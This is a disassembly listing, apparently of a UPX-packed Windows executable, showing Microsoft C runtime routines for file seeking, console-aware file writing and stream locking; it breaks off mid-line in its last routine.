sub_410E70 proc near ; CODE XREF: sub_40C40D+4Cp ; sub_4102A5+77p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_41470C push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_410EAF mov ecx, 2 loc_410EAF: ; CODE XREF: sub_410E70+38j push ecx call sub_41470C pop ebp pop ecx pop ebx leave retn 0Ch sub_410E70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410EBC proc near ; CODE XREF: sub_410F41+CDp ; sub_41105A+DFp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h mov edi, edi push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov [ebp+var_8], eax mov eax, [ebp+arg_8] push edi push esi mov [ebp+var_4], eax call sub_4147CF or edi, 0FFFFFFFFh pop ecx cmp eax, edi jnz short loc_410EF3 call sub_40C862 mov dword ptr [eax], 9 loc_410EED: ; CODE XREF: sub_410EBC+60j mov eax, edi mov edx, edi jmp short loc_410F3D ; --------------------------------------------------------------------------- loc_410EF3: ; CODE XREF: sub_410EBC+24j push [ebp+arg_C] lea ecx, [ebp+var_4] push ecx push [ebp+var_8] push eax call dword_41D144 ; SetFilePointer mov [ebp+var_8], eax cmp eax, edi jnz short loc_410F1E call dword_41D1D8 ; RtlGetLastWin32Error test eax, eax jz short loc_410F1E push eax call sub_40C888 pop ecx jmp short loc_410EED ; --------------------------------------------------------------------------- loc_410F1E: ; CODE XREF: sub_410EBC+4Dj ; sub_410EBC+57j mov eax, esi sar eax, 5 mov eax, dword_430160[eax*4] and esi, 1Fh shl esi, 6 lea eax, [eax+esi+4] and byte ptr [eax], 0FDh mov eax, [ebp+var_8] mov edx, [ebp+var_4] loc_410F3D: ; CODE XREF: sub_410EBC+35j pop edi pop esi leave retn sub_410EBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F41 proc near ; CODE XREF: sub_40C635+11Ap ; sub_4154F0+121p var_24 = dword ptr -24h var_20 = dword ptr -20h ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push 14h push offset dword_426BB0 call __SEH_prolog4 or esi, 0FFFFFFFFh mov [ebp+var_24], esi mov [ebp+var_20], esi mov eax, [ebp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_410F7A call sub_40C875 and dword ptr [eax], 0 call sub_40C862 mov dword ptr [eax], 9 loc_410F71: ; CODE XREF: sub_410F41+66j mov eax, esi mov edx, esi jmp loc_41104A ; --------------------------------------------------------------------------- loc_410F7A: ; CODE XREF: sub_410F41+1Bj xor edi, edi cmp eax, edi jl short loc_410F88 cmp eax, dword_430148 jb short loc_410FA9 loc_410F88: ; CODE XREF: sub_410F41+3Dj call sub_40C875 mov [eax], edi call sub_40C862 mov dword ptr [eax], 9 push edi push edi push edi push edi push edi call sub_40B255 add esp, 14h jmp short loc_410F71 ; --------------------------------------------------------------------------- loc_410FA9: ; CODE XREF: sub_410F41+45j mov ecx, eax sar ecx, 5 lea ebx, ds:430160h[ecx*4] mov esi, eax and esi, 1Fh shl esi, 6 mov ecx, [ebx] movsx ecx, byte ptr [ecx+esi+4] and ecx, 1 jnz short loc_410FEF call sub_40C875 mov [eax], edi call sub_40C862 mov dword ptr [eax], 9 push edi push edi push edi push edi push edi call sub_40B255 add esp, 14h or edx, 0FFFFFFFFh mov eax, edx jmp short loc_41104A ; --------------------------------------------------------------------------- loc_410FEF: ; CODE XREF: sub_410F41+86j push eax call sub_414846 pop ecx mov [ebp+ms_exc.disabled], edi mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41101E push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_410EBC add esp, 10h mov [ebp+var_24], eax mov [ebp+var_20], edx jmp short loc_411038 ; --------------------------------------------------------------------------- loc_41101E: ; CODE XREF: sub_410F41+BFj call sub_40C862 mov dword ptr [eax], 9 call sub_40C875 mov [eax], edi or [ebp+var_24], 0FFFFFFFFh or [ebp+var_20], 0FFFFFFFFh loc_411038: ; CODE XREF: sub_410F41+DBj mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_411050 mov eax, [ebp+var_24] mov edx, [ebp+var_20] loc_41104A: ; CODE XREF: sub_410F41+34j ; sub_410F41+ACj call __SEH_epilog4 retn sub_410F41 endp ; =============== S U B R O U T I N E ======================================= sub_411050 proc near ; CODE XREF: sub_410F41+FEp ; DATA XREF: UPX0:00426BC8o push dword ptr [ebp+8] call sub_4148E6 pop ecx retn sub_411050 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41105A proc near ; CODE XREF: sub_41178D+9Ap var_1AE4 = dword ptr -1AE4h var_1AE0 = dword ptr -1AE0h var_1AD9 = byte ptr -1AD9h var_1AD8 = dword ptr -1AD8h var_1AD4 = dword ptr -1AD4h var_1AD0 = dword ptr -1AD0h var_1ACC = dword ptr -1ACCh var_1AC8 = dword ptr -1AC8h var_1AC4 = dword ptr -1AC4h var_1AC0 = dword ptr -1AC0h var_1ABC = dword ptr -1ABCh var_1AB8 = byte ptr -1AB8h var_1410 = byte ptr -1410h var_6B8 = byte ptr -6B8h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp mov eax, 1AE4h call sub_40E000 mov eax, dword_42A034 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_4] push esi xor esi, esi mov [ebp+var_1ACC], eax mov [ebp+var_1AC8], esi mov [ebp+var_1AD0], esi cmp [ebp+arg_8], esi jnz short loc_411097 xor eax, eax jmp loc_411780 ; --------------------------------------------------------------------------- loc_411097: ; CODE XREF: sub_41105A+34j cmp eax, esi jnz short loc_4110C2 call sub_40C875 mov [eax], esi call sub_40C862 push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40B255 add esp, 14h or eax, 0FFFFFFFFh jmp loc_411780 ; --------------------------------------------------------------------------- loc_4110C2: ; CODE XREF: sub_41105A+3Fj push ebx push edi mov edi, [ebp+arg_0] mov eax, edi sar eax, 5 lea esi, ds:430160h[eax*4] mov eax, [esi] and edi, 1Fh shl edi, 6 add eax, edi mov bl, [eax+24h] add bl, bl sar bl, 1 mov [ebp+var_1AD8], esi mov [ebp+var_1AD9], bl cmp bl, 2 jz short loc_4110FA cmp bl, 1 jnz short loc_41112A loc_4110FA: ; CODE XREF: sub_41105A+99j mov ecx, [ebp+arg_8] not ecx test cl, 1 jnz short loc_41112A call sub_40C875 xor esi, esi mov [eax], esi call sub_40C862 push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40B255 add esp, 14h jmp loc_41176D ; --------------------------------------------------------------------------- loc_41112A: ; CODE XREF: sub_41105A+9Ej ; sub_41105A+A8j test byte ptr [eax+4], 20h jz short loc_411141 push 2 push 0 push 0 push [ebp+arg_0] call sub_410EBC add esp, 10h loc_411141: ; CODE XREF: sub_41105A+D4j push [ebp+arg_0] call sub_4118B2 pop ecx test eax, eax jz loc_4113EF mov eax, [esi] test byte ptr [edi+eax+4], 80h jz loc_4113EF call sub_40E38F mov eax, [eax+6Ch] xor ecx, ecx cmp [eax+14h], ecx lea eax, [ebp+var_1AE4] setz cl push eax mov eax, [esi] push dword ptr [edi+eax] mov [ebp+var_1AE0], ecx call dword_41D13C ; GetConsoleMode test eax, eax jz loc_4113EF xor ecx, ecx cmp [ebp+var_1AE0], ecx jz short loc_4111A1 test bl, bl jz loc_4113F1 loc_4111A1: ; CODE XREF: sub_41105A+13Dj call dword_41D140 ; GetConsoleCP mov ebx, [ebp+var_1ACC] mov [ebp+var_1AE4], eax xor eax, eax mov [ebp+var_1AC4], eax cmp [ebp+arg_8], eax jbe loc_411706 mov [ebp+var_1ABC], eax loc_4111CA: ; CODE XREF: sub_41105A+371j mov al, [ebp+var_1AD9] test al, al jnz loc_41133F mov cl, [ebx] mov esi, [ebp+var_1AD8] xor eax, eax cmp cl, 0Ah setz al mov [ebp+var_1AE0], eax mov eax, [esi] add eax, edi cmp dword ptr [eax+38h], 0 jz short loc_41120D mov dl, [eax+34h] mov [ebp+var_C], dl mov [ebp+var_B], cl and dword ptr [eax+38h], 0 push 2 lea eax, [ebp+var_C] push eax jmp short loc_411258 ; --------------------------------------------------------------------------- loc_41120D: ; CODE XREF: sub_41105A+19Cj movsx eax, cl push eax call sub_41282C pop ecx test eax, eax jz short loc_411255 mov ecx, [ebp+var_1ACC] sub ecx, ebx add ecx, [ebp+arg_8] xor eax, eax inc eax cmp ecx, eax jbe loc_4113D6 push 2 lea eax, [ebp+var_1AC0] push ebx push eax call sub_4127DA add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_4116FD inc ebx inc [ebp+var_1ABC] jmp short loc_411270 ; --------------------------------------------------------------------------- loc_411255: ; CODE XREF: sub_41105A+1BFj push 1 push ebx loc_411258: ; CODE XREF: sub_41105A+1B1j lea eax, [ebp+var_1AC0] push eax call sub_4127DA add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_4116FD loc_411270: ; CODE XREF: sub_41105A+1F9j xor eax, eax push eax push eax push 5 lea ecx, [ebp+var_C] push ecx push 1 lea ecx, [ebp+var_1AC0] push ecx push eax push [ebp+var_1AE4] inc ebx inc [ebp+var_1ABC] call dword_41D07C ; WideCharToMultiByte mov esi, eax test esi, esi jz loc_4116FD push 0 lea eax, [ebp+var_1AC4] push eax push esi lea eax, [ebp+var_C] push eax mov eax, [ebp+var_1AD8] mov eax, [eax] push dword ptr [edi+eax] call dword_41D188 ; WriteFile test eax, eax jz loc_4116F1 mov eax, [ebp+var_1ABC] mov ecx, [ebp+var_1AD0] add eax, ecx cmp [ebp+var_1AC4], esi mov [ebp+var_1AC8], eax jl loc_4116FD cmp [ebp+var_1AE0], 0 jz loc_4113C2 push 0 lea eax, [ebp+var_1AC4] push eax push 1 lea eax, [ebp+var_C] push eax mov eax, [ebp+var_1AD8] mov eax, [eax] mov [ebp+var_C], 0Dh push dword ptr [edi+eax] call dword_41D188 ; WriteFile test eax, eax jz loc_4116F1 cmp [ebp+var_1AC4], 1 jl loc_4116FD inc [ebp+var_1AD0] inc [ebp+var_1AC8] jmp loc_4113C2 ; --------------------------------------------------------------------------- loc_41133F: ; CODE XREF: sub_41105A+178j cmp al, 1 jz short loc_411347 cmp al, 2 jnz short loc_411368 loc_411347: ; CODE XREF: sub_41105A+2E7j movzx esi, word ptr [ebx] xor ecx, ecx cmp si, 0Ah setz cl inc ebx inc ebx add [ebp+var_1ABC], 2 mov [ebp+var_1AC0], esi mov [ebp+var_1AE0], ecx loc_411368: ; CODE XREF: sub_41105A+2EBj cmp al, 1 jz short loc_411370 cmp al, 2 jnz short loc_4113C2 loc_411370: ; CODE XREF: sub_41105A+310j push [ebp+var_1AC0] call sub_41490D pop ecx cmp ax, word ptr [ebp+var_1AC0] jnz loc_4116F1 add [ebp+var_1AC8], 2 cmp [ebp+var_1AE0], 0 jz short loc_4113C2 push 0Dh pop eax push eax mov [ebp+var_1AC0], eax call sub_41490D pop ecx cmp ax, word ptr [ebp+var_1AC0] jnz loc_4116F1 inc [ebp+var_1AC8] inc [ebp+var_1AD0] loc_4113C2: ; CODE XREF: sub_41105A+295j ; sub_41105A+2E0j ... mov eax, [ebp+arg_8] cmp [ebp+var_1ABC], eax jb loc_4111CA jmp loc_4116FD ; --------------------------------------------------------------------------- loc_4113D6: ; CODE XREF: sub_41105A+1D1j mov ecx, [esi] mov dl, [ebx] inc [ebp+var_1AC8] mov [edi+ecx+34h], dl mov ecx, [esi] mov [edi+ecx+38h], eax jmp loc_4116FD ; --------------------------------------------------------------------------- loc_4113EF: ; CODE XREF: sub_41105A+F2j ; sub_41105A+FFj ... xor ecx, ecx loc_4113F1: ; CODE XREF: sub_41105A+141j mov eax, [esi] add eax, edi test byte ptr [eax+4], 80h jz loc_4116BE mov eax, [ebp+var_1ACC] mov [ebp+var_1AC0], ecx test bl, bl jnz loc_4114DD mov [ebp+var_1AC4], eax cmp [ebp+arg_8], ecx jbe loc_411742 jmp short loc_41142A ; --------------------------------------------------------------------------- loc_411424: ; CODE XREF: sub_41105A+478j mov esi, [ebp+var_1AD8] loc_41142A: ; CODE XREF: sub_41105A+3C8j mov ecx, [ebp+var_1AC4] and [ebp+var_1ABC], 0 sub ecx, [ebp+var_1ACC] lea eax, [ebp+var_1AB8] loc_411443: ; CODE XREF: sub_41105A+425j cmp ecx, [ebp+arg_8] jnb short loc_411481 mov edx, [ebp+var_1AC4] inc [ebp+var_1AC4] mov dl, [edx] inc ecx cmp dl, 0Ah jnz short loc_41146C inc [ebp+var_1AD0] mov byte ptr [eax], 0Dh inc eax inc [ebp+var_1ABC] loc_41146C: ; CODE XREF: sub_41105A+400j mov [eax], dl inc eax inc [ebp+var_1ABC] cmp [ebp+var_1ABC], 13FFh jb short loc_411443 loc_411481: ; CODE XREF: sub_41105A+3ECj mov ebx, eax lea eax, [ebp+var_1AB8] sub ebx, eax push 0 lea eax, [ebp+var_1AD4] push eax push ebx lea eax, [ebp+var_1AB8] push eax mov eax, [esi] push dword ptr [edi+eax] call dword_41D188 ; WriteFile test eax, eax jz loc_4116F1 mov eax, [ebp+var_1AD4] add [ebp+var_1AC8], eax cmp eax, ebx jl loc_4116FD mov eax, [ebp+var_1AC4] sub eax, [ebp+var_1ACC] cmp eax, [ebp+arg_8] jb loc_411424 jmp loc_4116FD ; --------------------------------------------------------------------------- loc_4114DD: ; CODE XREF: sub_41105A+3B3j mov [ebp+var_1ABC], eax cmp bl, 2 jnz loc_4115BD cmp [ebp+arg_8], ecx jbe loc_411742 jmp short loc_4114FD ; --------------------------------------------------------------------------- loc_4114F7: ; CODE XREF: sub_41105A+558j mov esi, [ebp+var_1AD8] loc_4114FD: ; CODE XREF: sub_41105A+49Bj mov ecx, [ebp+var_1ABC] and [ebp+var_1AC4], 0 sub ecx, [ebp+var_1ACC] lea eax, [ebp+var_1AB8] loc_411516: ; CODE XREF: sub_41105A+505j cmp ecx, [ebp+arg_8] jnb short loc_411561 mov edx, [ebp+var_1ABC] add [ebp+var_1ABC], 2 movzx edx, word ptr [edx] inc ecx inc ecx cmp dx, 0Ah jnz short loc_411549 add [ebp+var_1AD0], 2 push 0Dh pop ebx mov [eax], bx inc eax inc eax add [ebp+var_1AC4], 2 loc_411549: ; CODE XREF: sub_41105A+4D7j add [ebp+var_1AC4], 2 mov [eax], dx inc eax inc eax cmp [ebp+var_1AC4], 13FEh jb short loc_411516 loc_411561: ; CODE XREF: sub_41105A+4BFj mov ebx, eax lea eax, [ebp+var_1AB8] sub ebx, eax push 0 lea eax, [ebp+var_1AD4] push eax push ebx lea eax, [ebp+var_1AB8] push eax mov eax, [esi] push dword ptr [edi+eax] call dword_41D188 ; WriteFile test eax, eax jz loc_4116F1 mov eax, [ebp+var_1AD4] add [ebp+var_1AC8], eax cmp eax, ebx jl loc_4116FD mov eax, [ebp+var_1ABC] sub eax, [ebp+var_1ACC] cmp eax, [ebp+arg_8] jb loc_4114F7 jmp loc_4116FD ; --------------------------------------------------------------------------- loc_4115BD: ; CODE XREF: sub_41105A+48Cj cmp [ebp+arg_8], ecx jbe loc_411742 loc_4115C6: ; CODE XREF: sub_41105A+65Cj mov ecx, [ebp+var_1ABC] and [ebp+var_1AC4], 0 sub ecx, [ebp+var_1ACC] push 2 lea eax, [ebp+var_6B8] pop esi loc_4115E2: ; CODE XREF: sub_41105A+5C7j cmp ecx, [ebp+arg_8] jnb short loc_411623 mov edx, [ebp+var_1ABC] movzx edx, word ptr [edx] add [ebp+var_1ABC], esi add ecx, esi cmp dx, 0Ah jnz short loc_41160C push 0Dh pop ebx mov [eax], bx add eax, esi add [ebp+var_1AC4], esi loc_41160C: ; CODE XREF: sub_41105A+5A2j add [ebp+var_1AC4], esi mov [eax], dx add eax, esi cmp [ebp+var_1AC4], 6A8h jb short loc_4115E2 loc_411623: ; CODE XREF: sub_41105A+58Bj xor esi, esi push esi push esi push 0D55h lea ecx, [ebp+var_1410] push ecx lea ecx, [ebp+var_6B8] sub eax, ecx cdq sub eax, edx sar eax, 1 push eax mov eax, ecx push eax push esi push 0FDE9h call dword_41D07C ; WideCharToMultiByte mov ebx, eax cmp ebx, esi jz loc_4116F1 loc_41165A: ; CODE XREF: sub_41105A+633j push 0 lea eax, [ebp+var_1AD4] push eax mov eax, ebx sub eax, esi push eax lea eax, [ebp+esi+var_1410] push eax mov eax, [ebp+var_1AD8] mov eax, [eax] push dword ptr [edi+eax] call dword_41D188 ; WriteFile test eax, eax jz short loc_411691 add esi, [ebp+var_1AD4] cmp ebx, esi jg short loc_41165A jmp short loc_41169D ; --------------------------------------------------------------------------- loc_411691: ; CODE XREF: sub_41105A+629j call dword_41D1D8 ; RtlGetLastWin32Error mov [ebp+var_1AC0], eax loc_41169D: ; CODE XREF: sub_41105A+635j cmp ebx, esi jg short loc_4116FD mov eax, [ebp+var_1ABC] sub eax, [ebp+var_1ACC] mov [ebp+var_1AC8], eax cmp eax, [ebp+arg_8] jb loc_4115C6 jmp short loc_4116FD ; --------------------------------------------------------------------------- loc_4116BE: ; CODE XREF: sub_41105A+39Fj push 0 lea ecx, [ebp+var_1AD4] push ecx push [ebp+arg_8] push [ebp+var_1ACC] push dword ptr [eax] call dword_41D188 ; WriteFile test eax, eax jz short loc_4116F1 mov eax, [ebp+var_1AD4] and [ebp+var_1AC0], 0 mov [ebp+var_1AC8], eax jmp short loc_4116FD ; --------------------------------------------------------------------------- loc_4116F1: ; CODE XREF: sub_41105A+268j ; sub_41105A+2C1j ... call dword_41D1D8 ; RtlGetLastWin32Error mov [ebp+var_1AC0], eax loc_4116FD: ; CODE XREF: sub_41105A+1ECj ; sub_41105A+210j ... cmp [ebp+var_1AC8], 0 jnz short loc_411772 loc_411706: ; CODE XREF: sub_41105A+164j cmp [ebp+var_1AC0], 0 jz short loc_41173C push 5 pop esi cmp [ebp+var_1AC0], esi jnz short loc_41172E call sub_40C862 mov dword ptr [eax], 9 call sub_40C875 mov [eax], esi jmp short loc_41176D ; --------------------------------------------------------------------------- loc_41172E: ; CODE XREF: sub_41105A+6BEj push [ebp+var_1AC0] call sub_40C888 pop ecx jmp short loc_41176D ; --------------------------------------------------------------------------- loc_41173C: ; CODE XREF: sub_41105A+6B3j mov esi, [ebp+var_1AD8] loc_411742: ; CODE XREF: sub_41105A+3C2j ; sub_41105A+495j ... mov eax, [esi] test byte ptr [edi+eax+4], 40h jz short loc_41175A mov eax, [ebp+var_1ACC] cmp byte ptr [eax], 1Ah jnz short loc_41175A xor eax, eax jmp short loc_41177E ; --------------------------------------------------------------------------- loc_41175A: ; CODE XREF: sub_41105A+6EFj ; sub_41105A+6FAj call sub_40C862 mov dword ptr [eax], 1Ch call sub_40C875 and dword ptr [eax], 0 loc_41176D: ; CODE XREF: sub_41105A+CBj ; sub_41105A+6D2j ... or eax, 0FFFFFFFFh jmp short loc_41177E ; --------------------------------------------------------------------------- loc_411772: ; CODE XREF: sub_41105A+6AAj mov eax, [ebp+var_1AC8] sub eax, [ebp+var_1AD0] loc_41177E: ; CODE XREF: sub_41105A+6FEj ; sub_41105A+716j pop edi pop ebx loc_411780: ; CODE XREF: sub_41105A+38j ; sub_41105A+63j mov ecx, [ebp+var_4] xor ecx, ebp pop esi call sub_40AC1C leave retn sub_41105A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41178D proc near ; CODE XREF: sub_40C635+CFp ; sub_40C635+13Ep ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push 10h push offset dword_426BD0 call __SEH_prolog4 mov eax, [ebp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_4117BC call sub_40C875 and dword ptr [eax], 0 call sub_40C862 mov dword ptr [eax], 9 loc_4117B4: ; CODE XREF: sub_41178D+5Cj or eax, 0FFFFFFFFh jmp loc_411859 ; --------------------------------------------------------------------------- loc_4117BC: ; CODE XREF: sub_41178D+12j xor edi, edi cmp eax, edi jl short loc_4117CA cmp eax, dword_430148 jb short loc_4117EB loc_4117CA: ; CODE XREF: sub_41178D+33j ; sub_41178D+7Cj call sub_40C875 mov [eax], edi call sub_40C862 mov dword ptr [eax], 9 push edi push edi push edi push edi push edi call sub_40B255 add esp, 14h jmp short loc_4117B4 ; --------------------------------------------------------------------------- loc_4117EB: ; CODE XREF: sub_41178D+3Bj mov ecx, eax sar ecx, 5 lea ebx, ds:430160h[ecx*4] mov esi, eax and esi, 1Fh shl esi, 6 mov ecx, [ebx] movsx ecx, byte ptr [ecx+esi+4] and ecx, 1 jz short loc_4117CA push eax call sub_414846 pop ecx mov [ebp+ms_exc.disabled], edi mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_411834 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_41105A add esp, 0Ch mov [ebp+var_1C], eax jmp short loc_41184A ; --------------------------------------------------------------------------- loc_411834: ; CODE XREF: sub_41178D+8Fj call sub_40C862 mov dword ptr [eax], 9 call sub_40C875 mov [eax], edi or [ebp+var_1C], 0FFFFFFFFh loc_41184A: ; CODE XREF: sub_41178D+A5j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_41185F mov eax, [ebp+var_1C] loc_411859: ; CODE XREF: sub_41178D+2Aj call __SEH_epilog4 retn sub_41178D endp ; =============== S U B R O U T I N E ======================================= sub_41185F proc near ; CODE XREF: sub_41178D+C4p ; DATA XREF: UPX0:00426BE8o push dword ptr [ebp+8] call sub_4148E6 pop ecx retn sub_41185F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411869 proc near ; CODE XREF: sub_40C635+9Fp ; sub_4154F0+A4p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp inc dword_42ECFC push 1000h call sub_40EF2A pop ecx mov ecx, [ebp+arg_0] mov [ecx+8], eax test eax, eax jz short loc_411896 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_4118A7 ; --------------------------------------------------------------------------- loc_411896: ; CODE XREF: sub_411869+1Ej or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_4118A7: ; CODE XREF: sub_411869+2Bj mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax pop ebp retn sub_411869 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4118B2 proc near ; CODE XREF: sub_40C635+94p ; sub_41105A+EAp ... arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_4118CE call sub_40C862 mov dword ptr [eax], 9 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_4118CE: ; CODE XREF: sub_4118B2+Bj push esi xor esi, esi cmp eax, esi jl short loc_4118DD cmp eax, dword_430148 jb short loc_4118F9 loc_4118DD: ; CODE XREF: sub_4118B2+21j call sub_40C862 push esi push esi push esi push esi push esi mov dword ptr [eax], 9 call sub_40B255 add esp, 14h xor eax, eax jmp short loc_411913 ; --------------------------------------------------------------------------- loc_4118F9: ; CODE XREF: sub_4118B2+29j mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_430160[ecx*4] shl eax, 6 movsx eax, byte ptr [ecx+eax+4] and eax, 40h loc_411913: ; CODE XREF: sub_4118B2+45j pop esi pop ebp retn sub_4118B2 endp ; =============== S U B R O U T I N E ======================================= sub_411916 proc near ; CODE XREF: sub_40C635+79p ; sub_40C635+85p ... mov eax, offset off_42A450 retn sub_411916 endp ; =============== S U B R O U T I N E ======================================= sub_41191C proc near ; DATA XREF: UPX0:0041D404o mov eax, dword_430140 push esi push 14h pop esi test eax, eax jnz short loc_411930 mov eax, 200h jmp short loc_411936 ; --------------------------------------------------------------------------- loc_411930: ; CODE XREF: sub_41191C+Bj cmp eax, esi jge short loc_41193B mov eax, esi loc_411936: ; CODE XREF: sub_41191C+12j mov dword_430140, eax loc_41193B: ; CODE XREF: sub_41191C+16j push 4 push eax call sub_40EF6F pop ecx pop ecx mov dword_42F138, eax test eax, eax jnz short loc_41196C push 4 push esi mov dword_430140, esi call sub_40EF6F pop ecx pop ecx mov dword_42F138, eax test eax, eax jnz short loc_41196C push 1Ah pop eax pop esi retn ; --------------------------------------------------------------------------- loc_41196C: ; CODE XREF: sub_41191C+30j ; sub_41191C+49j xor edx, edx mov ecx, offset off_42A450 jmp short loc_41197A ; --------------------------------------------------------------------------- loc_411975: ; CODE XREF: sub_41191C+6Dj mov eax, dword_42F138 loc_41197A: ; CODE XREF: sub_41191C+57j mov [edx+eax], ecx add ecx, 20h add edx, 4 cmp ecx, offset dword_42A6D0 jl short loc_411975 push 0FFFFFFFEh pop esi xor edx, edx mov ecx, offset dword_42A460 push edi loc_411996: ; CODE XREF: sub_41191C+AAj mov eax, edx sar eax, 5 mov eax, dword_430160[eax*4] mov edi, edx and edi, 1Fh shl edi, 6 mov eax, [edi+eax] cmp eax, 0FFFFFFFFh jz short loc_4119BA cmp eax, esi jz short loc_4119BA test eax, eax jnz short loc_4119BC loc_4119BA: ; CODE XREF: sub_41191C+94j ; sub_41191C+98j mov [ecx], esi loc_4119BC: ; CODE XREF: sub_41191C+9Cj add ecx, 20h inc edx cmp ecx, offset dword_42A4C0 jl short loc_411996 pop edi xor eax, eax pop esi retn sub_41191C endp ; =============== S U B R O U T I N E ======================================= sub_4119CD proc near ; DATA XREF: UPX0:0041D41Co call sub_414BFB cmp byte_42E8A4, 0 jz short loc_4119E0 call sub_4149D2 loc_4119E0: ; CODE XREF: sub_4119CD+Cj push dword_42F138 call sub_40ADC8 pop ecx retn sub_4119CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4119ED proc near ; CODE XREF: sub_415D90+50p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] mov eax, offset off_42A450 cmp esi, eax jb short loc_411A21 cmp esi, offset dword_42A6B0 ja short loc_411A21 mov ecx, esi sub ecx, eax sar ecx, 5 add ecx, 10h push ecx call sub_40CFA9 or dword ptr [esi+0Ch], 8000h pop ecx jmp short loc_411A2B ; --------------------------------------------------------------------------- loc_411A21: ; CODE XREF: sub_4119ED+10j ; sub_4119ED+18j add esi, 20h push esi call dword_41D1CC ; RtlEnterCriticalSection loc_411A2B: ; CODE XREF: sub_4119ED+32j pop esi pop ebp retn sub_4119ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411A2E proc near ; CODE XREF: sub_414B21+46p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp eax, 14h jge short loc_411A51 add eax, 10h push eax call sub_40CFA9 mov eax, [ebp+arg_4] or dword ptr [eax+0Ch], 8000h pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_411A51: ; CODE XREF: sub_411A2E+Bj mov eax, [ebp+arg_4] add eax, 20h push eax call dword_41D1CC ; RtlEnterCriticalSection pop ebp retn sub_411A2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411A60 proc near ; CODE XREF: sub_415E04+1p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, offset off_42A450 cmp eax, ecx jb short loc_411A90 cmp eax, offset dword_42A6B0 ja short loc_411A90 and dword ptr [eax+0Ch], 0FFFF7FFFh sub eax, ecx sar eax, 5 add eax, 10h push eax call sub_40CECF pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_411A90: ; CODE XREF: sub_411A60+Fj ; sub_411A60+16j add eax, 20h push eax call dword_41D204 ; RtlLeaveCriticalSection pop ebp retn sub_411A60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411A9C proc near ; CODE XREF: sub_414BC3+9p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp mov ecx, [ebp+arg_0] cmp ecx, 14h mov eax, [ebp+arg_4] jge short loc_411ABF and dword ptr [eax+0Ch], 0FFFF7FFFh add ecx, 10h push ecx call sub_40CECF pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_411ABF: ; CODE XREF: sub_411A9C+Ej add eax, 20h push eax call dword_41D204 ; RtlLeaveCriticalSection pop ebp retn sub_411A9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411ACB proc near ; CODE XREF: sub_40C635+Bp ; sub_412505+23p ... arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi xor esi, esi cmp eax, esi jnz short loc_411AF7 call sub_40C862 push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40B255 add esp, 14h or eax, 0FFFFFFFFh jmp short loc_411AFA ; --------------------------------------------------------------------------- loc_411AF7: ; CODE XREF: 